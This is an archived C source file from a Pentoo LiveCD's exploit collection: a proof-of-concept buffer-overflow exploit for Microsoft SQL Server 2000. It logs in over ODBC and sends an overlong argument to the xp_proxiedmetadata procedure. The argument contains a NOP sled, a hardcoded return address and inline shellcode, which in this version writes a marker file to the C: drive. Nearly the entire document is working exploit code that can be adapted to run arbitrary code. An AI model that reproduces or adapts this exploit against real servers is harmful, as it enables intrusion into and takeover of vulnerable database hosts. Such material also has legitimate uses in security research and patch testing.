home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / sqladv2-poc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  118 lines

  1. // SQL2KOverflow.c
  2. // This code creates a file called 'SQL2KOverflow.txt' in the root of the
  3. // c: drive.
  4.  
  5.  
  6. #include <stdio.h>
  7. #include <windows.h>
  8. #include <wchar.h>
  9. #include <lmcons.h>
  10. #include <sql.h>
  11. #include <sqlext.h>
  12.  
  13.  
  14. int Syntax()
  15. {
  16.     printf( "Syntax error. Correct syntax is:\nSQL2KOverflow
  17. <hostname> <username> <password>");
  18.     return 1;
  19. }
  20.  
  21.  
  22. int main(int argc, char *argv[])
  23. {
  24.     char szBuffer[1025];
  25.     SWORD     swStrLen;
  26.     SQLHDBC   hdbc;
  27.     SQLRETURN nResult;             
  28.     SQLHANDLE henv;
  29.     HSTMT  hstmt;                      
  30.     SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER=";
  31.     UCHAR query[20000] = "exec xp_proxiedmetadata 'a', '";
  32.     int count;
  33.  
  34.     if ( argc != 4 )
  35.     {
  36.         return Syntax();
  37.     }
  38.  
  39.     if ( ( strlen( argv[1] ) > 250 ) ||
  40.         ( strlen( argv[2] ) > 250 )  ||
  41.         ( strlen( argv[3] ) > 250 ) )
  42.         return Syntax();
  43.  
  44.     strcat( InConnectionString, argv[1] );
  45.     strcat( InConnectionString, ";UID=" );
  46.     strcat( InConnectionString, argv[2] );
  47.     strcat( InConnectionString, ";PWD=" );
  48.     strcat( InConnectionString, argv[3] );
  49.     strcat( InConnectionString, ";DATABASE=master" );
  50.  
  51.     for ( count = 30; count < 2598; count++ )
  52.         query[count] = (char)0x90;
  53.     
  54.     query[count] = 0;
  55.  
  56.     // 0x77782548 = wx%H = this works sp0
  57.     strcat( query, "\x48\x25\x78\x77" );
  58.     
  59.     strcat( query,
  60. "\x90\x90\x90\x90\x90\x33\xC0Ph.txthflowhOverhQL2khc:\\STYPP@PHPPPQ\xB8\x8D+\xE9\x77\xFF\xD0\x33\xC0P\xB8\xCF\x06\xE9\x77\xFF\xD0"
  61. );
  62.     
  63.     strcat( query, "', 'a', 'a'" );
  64.  
  65.  
  66.     if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
  67. SQL_SUCCESS)
  68.         {
  69.             printf("Error SQLAllocHandle");
  70.             return 0;
  71.  
  72.         }
  73.  
  74.     if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
  75. SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  76.         {
  77.             printf("Error SQLSetEnvAttr");
  78.             return 0;
  79.  
  80.         }
  81.  
  82.  
  83.     if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
  84. *)&hdbc)) != SQL_SUCCESS) 
  85.         {
  86.             printf("SQLAllocHandle - 2");
  87.             return 0;
  88.             
  89.         }
  90.  
  91.     nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
  92. strlen(InConnectionString), szBuffer,  1024, &swStrLen,
  93. SQL_DRIVER_COMPLETE_REQUIRED);      
  94.     if(( nResult == SQL_SUCCESS ) | ( nResult ==
  95. SQL_SUCCESS_WITH_INFO) )
  96.         {
  97.  
  98.             printf("Connected to MASTER database...\n\n");
  99.             SQLAllocStmt(hdbc,&hstmt);
  100.         }
  101.  
  102.  
  103.  
  104.     if(SQLExecDirect(hstmt,query,SQL_NTS) ==SQL_SUCCESS)
  105.         {
  106.             printf("\nSQL Query error");
  107.  
  108.             return 0;
  109.  
  110.         }
  111.     printf("Buffer sent...");    
  112.     
  113.  
  114.  
  115. return 0;
  116. }
  117.  
  118.